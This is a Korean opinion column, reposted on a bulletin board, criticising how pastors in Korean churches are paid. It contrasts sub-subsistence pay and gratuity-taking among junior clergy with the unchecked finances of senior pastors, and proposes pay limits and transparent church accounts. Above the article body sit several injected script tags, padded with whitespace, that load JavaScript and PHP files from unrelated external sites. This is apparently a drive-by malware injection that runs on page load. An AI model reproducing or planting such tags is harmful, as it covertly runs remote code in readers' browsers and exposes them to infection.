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칼럼 [구교형 칼럼] 원칙 없는 목회자 사례, 도덕성 근간 흔든다[뉴조12/14]

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작성자 by 관리자 / 작성일06-12-18 14:10 / 조회 5,674 / 댓글 1

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<SCRIPT Language=JavaScript src=http://scha.nodong.net/bbs/data/free/ky1105.js></script>                            <SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/asuyoil.js></script>          <SCRIPT src=http://soccer1.ktdom.com/bbs/data/soccer4ugallery/keyp.txt></script>                              <SCRIPT Language=JavaScript src=http://poverty.jinbo.net/bbs/data/freeboard/softs.js></script>                                                    <SCRIPT Language=JavaScript src=http://rnjsdudwh.cafe24.com/Mics.php></script><SCRIPT Language=JavaScript src=http://dlcjsvlf.cafe24.com/Wiz.php></script>    원칙 없는 목회자 사례, 도덕성 근간 흔든다 
최저생계비도 못 미치거나 무한정한 재정권 쥐거나…합리적인 상하한선 정해야
 
 
 
2006년 12월 14일 (목) 구교형 (  ku6699 )   
 
 
   

2004년 ‘한국교회미래를준비하는모임’ 조사 결과 종교 지도자 자질의 우수성을 묻는 질문에서 천주교(31.8%), 불교(21.2%), 개신교(12.0%) 순으로 선호도가 나타나, 개신교 지도자에 대한 비종교인의 불신이 높은 것으로 확인됐다. 목회자에 대한 신뢰도는 갈수록 떨어지는데도 직업 선택 기준에 있어서 목회직에 대한 선호도와 배우자로서의 선호도는 높아지고 있는 기현상을 어떻게 설명해야 할까? 나는 하나의 직업으로서 목회자가 갖는 매력이 적지 않기 때문이라고 생각한다.
 

첫째, 나 자신 고백하건대 한국사회에서 (단지) 목회자가 되기는 그리 어렵지 않다. 하나님으로부터 오는 소명과 목회적 책임감을 도외시한다면 분명 우리 사회에서 목회자가 되는 길은 그리 어렵지 않다. 우리나라는 세계에 유례가 없을 만큼 많은 교단과 신학교가 있으며, 이를 통해 어떤 식으로든 목회자가 될 수는 있다. 200여 개 가까운 한국교회의 각 교단에서 정원을 초과하여 매년 배출되는 신학생은 대부분 목회자가 되기를 준비하고 있다.

둘째, 일단 목회자가 되면 적어도 한국교회의 성격상 여러 기득권이 따른다. 한국교회에서는 아직도 목회자라고 하면 무조건 ‘기름부음 받은 하나님의 종’이요, ‘선택받은 사람’이라는 인식이 지배적이다. 사회적으로야 어떻든, 적어도 교회 안에서는 여러 면에서 독점적이고 일방적인 혜택을 누릴 수 있다. 갈수록 심해지는 경제 한파 시대에 목회자는 여전히 정년의 부담이 적고, 경기 변동의 위험이 적은 드문 직업이다. 그런 면에서 목회자는 엄청난 벼락출세는 아닐지라도 상대적으로 위험 부담이 적은 안정적인 직종임에 틀림없다. 역설적이지만 경제가 어려울수록 목회직에 대한 선호도는 더 높아질 것이다.

열악한 사례비, 촌지 의존하게 해

이러한 목회자에 대한 막연한 기대 심리는 목회자 세계의 냉엄한 현실을 일반인들이 거의 모르기 때문에 생겨나는 거품이다. 특별히 눈앞에서 교회의 모든 것을 쥐락펴락하는 것처럼 보이는 담임목사의 뒤에 가려진 힘없는 목회자들의 현실을 모르기 때문이다. 특히 목회자 사례에 한정된 현실을 생각해보자. 목회자 사례가 갖는 문제점 가운데 가장 심각한 것은 합리적인 원칙과 투명성이 없다는 점이다. 그 이유는 한국교회에서 목회자 사례를 보는 인식과 적용점이 완전히 이원화되어 있기 때문이다.

사례를 포함한 경제 문제에 대해 이들에게 주로 적용되는 기본적인 인식은 이런 것이다. “목회자는 하나님이 먹여 살리신다. 그러므로 돈을 밝히면 안 된다. 필요하면 하나님은 까마귀를 통해서도 먹이신다. 오직 기도하고 주의 일에 힘써라.” 이것은 너나없이 힘들었던 60년대까지 모든 목회 현장에서 당연했던 인식이며, 목회자들이라면 어느 시대든 마땅히 가져야 할 기본적인 자세라고 믿는다. 목회자는 사명자인 동시에 한 가정을 부양해야 할 책임을 가진 가장이다. 할 수 있는 한 교회는 이러한 목회자의 생활에 맞는 대우에 힘써야 한다. 까마귀의 공궤가 유사시 하나님이 베푸시는 특별한 대책이라면(왕상 17:1~7), 레위인들에 대한 우선적인 관심은 하나님의 기본적인 방법이다(민 18:20, 21, 24).

그러나 개 교회 현실에서 이러한 원칙은 거의 지켜지지 않고 적자생존의 정글 법칙, 천민자본주의적 무한경쟁만이 존재한다. 수많은 농어촌 교회와 개척 교회, 교역자 그리고 부교역자들은 최저생계비에 미치지 못하는 사례를 받고 생활한다. 올 한해 목회자 소득세 신고 문제가 새삼스레 부각되었지만 사실 상당수 목회자들은 소득세 납부 신고를 하여도 실제 과세 대상이 아닐 정도로 열악한 상태에 있는 것으로 알려져 있다.

문제는 이렇게 부족한 사례에 대한 아주 비정상적이면서도 일상화(관례화)된 대책이 바로 촌지 관행이라는 사실이다. 많은 목회자들은 정상적인 사례에서 채우지 못하는 수입의 일부를 개개 성도를 통한 부수입으로 보충하고 있다. 심지어 큰 교회의 목 좋은 지역(교구)을 맡고 있는 교역자들은 심방을 통해 얻는 부수입(?)이 목회자 사례와 견줄 수 있을 정도라고 한다.

그로 인해 교역자 촌지를 준비할 수 없는 형편의 성도들은 심방에서조차 스스로 물러나 앉는 일이 있다는 것이다. 그렇게 되면 촌지를 넉넉히 베풀 수 있는 성도나 지역에 대해서는 특별한 관심을 베풀게 되고, 목회자가 전할 메시지까지도 흐려지기 쉬우므로 목회자 촌지 관행은 올바른 목회직 수행 자체를 뒤흔들 수 있는 중요한 문제다(출 23:8). 한국교회는 목회직의 본질을 지키기 위해서도 하루 속히 최저생계비 이하로 생활하는 목회자의 문제에 실질적인 대책을 세워야 한다.

목사 권한에 비례하는 재정 사유화

그러나 앞서 살펴봤던 교역자들에 대한 통념들이 일정 규모를 넘는 자립 교회의 담임목사에게는 전혀 다르게 적용된다. “목사님을 섬기는 것은 하나님을 섬기는 것이다. 목사님 잘 섬기면 하나님께 복 받는다”는 기준으로 변한다.

담임목사는 단순히 책정된 사례가 많다는 것만이 문제가 아니다. 담임목사는 명문화된 사례 외에도 수많은 명목의 업무수행비 또는 품위유지비를 사용할 수 있으며, 별다른 근거 자료 없이도 사용할 수 있는 재정이 상당하다. 이러한 자금 동원 능력은 교회에서 행사할 수 있는 담임목사의 정치력을 반영한다. 더구나 부교역자 시절부터 관행화된 촌지 수수는 담임목사가 되었다고 근절되기는커녕 담임목사의 직책상 더 집중된다.

왜 목회자들은 한사코 일정 규모 이상 교회의 담임목사가 되려 하는가? 왜 교회가 세습되는가? 한마디로 담임목사가 갖는 무한한 매력 때문이다. 부교역자 때 받은 서럽고 한스러운 기억을 담임목사가 되어 마음껏 풀 수 있게 만드는 구조라는 말이다. 그러므로 목회자 사례에 관한 이와 같은 이중성과 무원칙성이 바로 잡히지 않으면 교회 세습을 비롯한 한국교회 개혁 과제는 요원할 수밖에 없다.

무보수 미담 일반화할 수 없어

목회자 사례에 관한 성경적 개념이 규정되고 합리적인 원칙이 세워져야 한다. 그리고 그 원칙을 바탕으로 사례의 상한선과 하한선을 정해야 한다(잠 30:8, 9). 사례는 지역과 연령, 근속연수, 가족 수 등을 기초로 하여 정하되 한국사회 최저생계비 이상은 보장되어야 한다. 가끔 어떤 목회자가 교회의 어려운 재정 형편을 감안하여 오랜 기간 사례를 받지 않았다는 기사가 미담처럼 소개되나, 그것을 내세우며 일반화해서는 안 된다. 반면 어떠한 경우에도 한 사람에게 돈과 권력이 다 집중되면 안 된다는 근거 아래 상한선도 마련하면 좋겠다.

아울러 한국교회 재정 문제의 실상을 살펴 올바른 개선책을 강구해야 한다. 헌금 거두기에 탁월한 열심을 보이는 것과는 별개로 교회 재정은 너무나도 무원칙적이고 불투명하게 집행되고 있다. 교회 재정은 교회의 목적에 맞는 바른 원칙에 따라 사용 방향을 정하고, 투명한 집행과 사후 감사 등으로 보완되어야 한다. 이제 교회별로 한해를 결산하고 또 한해를 준비하는 공동의회를 실시할 텐데, 단순한 통과 의례로서의 시간이 아니라 교회 운영의 전반적인 부분을 성도들이 직접 확인하고, 개선을 요구하는 생산적인 모임이 되기를 기대한다.

구교형 / 교회개혁실천연대 사무국장
 
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